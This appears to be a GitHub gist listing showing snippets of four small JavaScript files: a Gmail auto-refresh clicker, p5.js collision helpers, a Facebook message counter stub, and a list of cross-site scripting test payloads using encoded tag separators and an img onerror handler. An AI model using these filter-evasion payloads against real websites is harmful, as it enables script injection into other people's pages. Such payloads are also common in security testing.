View autocheck.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
setInterval(() => { | |
location.href = 'https://mail.google.com/mail/u/0/#settings/accounts'; | |
const elements = [...document.querySelectorAll('span')].filter(el => el.textContent.includes('Check mail now')); | |
// const elements = document.querySelectorAll('.rP.sA'); | |
elements.forEach(el => el.click()); | |
}, 5 * 60 * 1000); |
View math_collisions.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function collisionPointCircle(pointX, pointY, circleX, circleY, circleR) { | |
return p5.prototype.dist(pointX, pointY, circleX, circleY) <= circleR; | |
} | |
function collisionCirclePoint(circleX, circleY, circleR, pointX, pointY) { | |
return collisionPointCircle(pointX, pointY, circleX, circleY, circleR); | |
} | |
function collisionPointLine(pointX, pointY, lineX1, lineY1, lineX2, lineY2) { | |
var d1 = dist(pointX, pointY, lineX1, lineY1); |
View fb_messages_counter.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var messages = [ | |
{ | |
"sender_name": "Lorem Ipsum", | |
"timestamp_ms": 0000000000000, | |
"content": "Message content", | |
"type": "Generic" | |
}, | |
......... | |
]; | |
var counts = []; |
View gist:e2e4a6d72877c8c897082eefe969578a
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script\x20type="text/javascript">javascript:alert(0);</script> | |
<script\x3Etype="text/javascript">javascript:alert(1);</script> | |
<script\x0Dtype="text/javascript">javascript:alert(2);</script> | |
<script\x09type="text/javascript">javascript:alert(3);</script> | |
<script\x0Ctype="text/javascript">javascript:alert(4);</script> | |
<script\x2Ftype="text/javascript">javascript:alert(5);</script> | |
<script\x0Atype="text/javascript">javascript:alert(6);</script> | |
'`"><\x3Cscript>javascript:alert(7)</script> | |
'`"><\x00script>javascript:alert(8)</script> | |
<img src=1 href=1 onerror="javascript:alert(9)"></img> |